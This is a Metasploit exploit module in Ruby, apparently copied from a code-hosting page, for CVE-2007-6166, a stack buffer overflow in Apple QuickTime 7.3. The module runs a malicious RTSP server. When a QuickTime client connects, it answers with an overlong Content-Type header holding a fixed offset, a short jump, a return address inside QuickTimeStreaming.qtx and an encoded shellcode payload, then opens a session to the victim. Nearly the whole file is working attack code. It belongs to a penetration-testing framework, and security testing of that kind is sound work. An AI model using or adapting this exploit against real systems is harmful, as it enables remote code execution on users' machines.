Path: blob/master/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Apple QuickTime 7.3 RTSP Response Header Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Apple QuickTime 7.3. By sending an overly long17RTSP response to a client, an attacker may be able to execute arbitrary code.18},19'Author' => 'MC',20'License' => MSF_LICENSE,21'References' => [22[ 'CVE', '2007-6166' ],23[ 'OSVDB', '40876' ],24[ 'BID', '26549' ],25[ 'EDB', '4648' ],26],27'DefaultOptions' => {28'EXITFUNC' => 'process',29},30'Payload' => {31'Space' => 700,32'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",33'MaxNops' => 0,34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38[ 'QuickTime 7.3, QuickTime Player 7.3', { 'Offset' => 991, 'Ret' => 0x67644297 } ], # pop esi; pop ebx; ret / QuickTimeStreaming.qtx (7.3.0.70)39],40'Privileged' => false,41'DisclosureDate' => '2007-11-23',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options(52[53OptPort.new('SRVPORT', [ true, "The RTSP daemon port to listen on", 554 ])54]55)56end5758def on_client_connect(client)59return if ((p = regenerate_payload(client)) == nil)6061client.get_once6263buffer = rand_text_english(target['Offset']) + Rex::Arch::X86.jmp_short(6) + make_nops(2)64buffer << [target.ret].pack('V') + payload.encoded + rand_text_english(4092 - payload.encoded.length)6566strname = rand_text_alpha(rand(75) + 1)67date = Time.now68num = rand(1).to_s6970header = "RTSP/1.0 200 OK\r\n"71header << "CSeq: 1\r\n"72header << "Date: #{date}\r\n"73header << "Content-Base: rtsp://0.0.0.0/#{strname}\r\n"74header << "Content-Type: #{buffer}\r\n"75header << "Content-Length: #{strname.length}\r\n\r\n"7677body = "v=#{num}\r\n"78body << "o=#{strname}\r\n"79body << "s=#{strname}\r\n"80body << "i=#{strname}\r\n"81body << "t=#{num}\r\n"82body << "a=tool:#{strname}\r\n"83body << "a=type:#{strname}\r\n"84body << "a=control:#{strname}\r\n"85body << "a=range:#{strname}\r\n"86body << "a=x-qt-text-nam:#{strname}\r\n"87body << "a=x-qt-text-inf:#{strname}\r\n"88body << "m=#{strname}\r\n"89body << "c=#{strname}\r\n"90body << "a=control:#{strname}\r\n"9192sploit = header + body9394print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")9596client.put(sploit)97handler(client)9899service.close_client(client)100end101end102103104